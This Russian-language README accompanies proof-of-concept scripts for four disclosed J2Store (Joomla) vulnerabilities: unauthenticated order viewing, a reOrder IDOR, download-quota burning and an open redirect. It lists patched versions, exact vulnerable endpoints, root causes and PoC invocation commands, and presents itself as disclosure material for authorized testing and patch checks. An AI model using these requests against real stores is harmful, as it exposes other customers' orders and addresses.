
PoC для J2Store CVE-2026-67358–67362 (предупреждение безопасности J2Commerce, август 2026)
Материалы доказательства концепции для четырёх уязвимостей в com_j2store (J2Commerce J2Store), обнаруженных Murrez и исправленных в:
| Ветка | Исправленная версия |
|---|
| J2Store 3.x | 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
Официальное уведомление: Уведомление о безопасности J2Commerce (2026-08-20)
| CVE | Проблема | Аутентификация | CVSS 4.0 | Серьёзность |
|---|---|---|---|---|
| CVE-2026-67359 | Неаутентифицированный просмотр позиций заказа и итогов через expressconfirm | Не требуется | 8.7 | Высокая |
| CVE-2026-67360 | IDOR reOrder между клиентами (корзина/адрес жертвы в сессии атакующего) | Низкая (авторизованный пользователь) | 8.7 | Высокая |
| CVE-2026-67358 | updateHitCount сжигает квоту скачиваний другого клиента | Низкая (токен гостевого заказа) | 5.3 | Средняя |
| CVE-2026-67362 | Открытое перенаправление в задачах корзины (setcurrency, addItem, applyCoupon, applyVoucher) | Не требуется | 5.1 | Средняя |
Протестированная версия: J2Store Pro 4.1.5 на Joomla 5.x (локальная лаборатория).
Только для авторизованных исследований безопасности и проверки исправлений. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
pip install -r requirements.txt
Python 3.10+
Базовый URL лаборатории по умолчанию: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
Минимальные примеры повторных запросов Burp/curl: replay/
expressconfirmКонечная точка: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
Если активная сессия оформления заказа отсутствует, любой order_id отображает страницу подтверждения экспресс-оформления (позиции, количества, цены, итоги) без аутентификации.
Корневая причина: components/com_j2store/controllers/checkouts.php — expressconfirm() использует переданный в запросе order_id без проверки принадлежности.
reOrderКонечная точка: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
Авторизованный пользователь, знающий order_id жертвы, может инициировать повторный заказ: позиции жертвы копируются в корзину атакующего; идентификаторы платёжного адреса и адреса доставки жертвы сохраняются в сессии атакующего.
Корневая причина: components/com_j2store/controllers/myprofile.php — reOrder() проверяет CSRF и вход в систему, но не проверяет $order->user_id.
updateHitCountКонечная точка: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
Гость или клиент с собственной допустимой парой (order_id, token) может увеличить limit_count для orderdownload_id другого заказа. CSRF-токен не требуется.
Корневая причина: components/com_j2store/controllers/myprofile.php — токен проверяется только по заказу вызывающего; orderdownload_id не привязан к этому заказу.
Задачи: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
Параметры redirect / return в кодировке Base64 декодируются и передаются в $app->redirect() без проверки списка разрешённых хостов. JRoute::_() не блокирует абсолютные внешние URL.
Корневая причина: components/com_j2store/controllers/carts.php
Проблемы 1, 2, 3 и 5 в уведомлении производителя — Murrez ([email protected]).
Скоординированное раскрытие информации через J2Commerce и Joomla Security Strike Team.
MIT — см. LICENSE.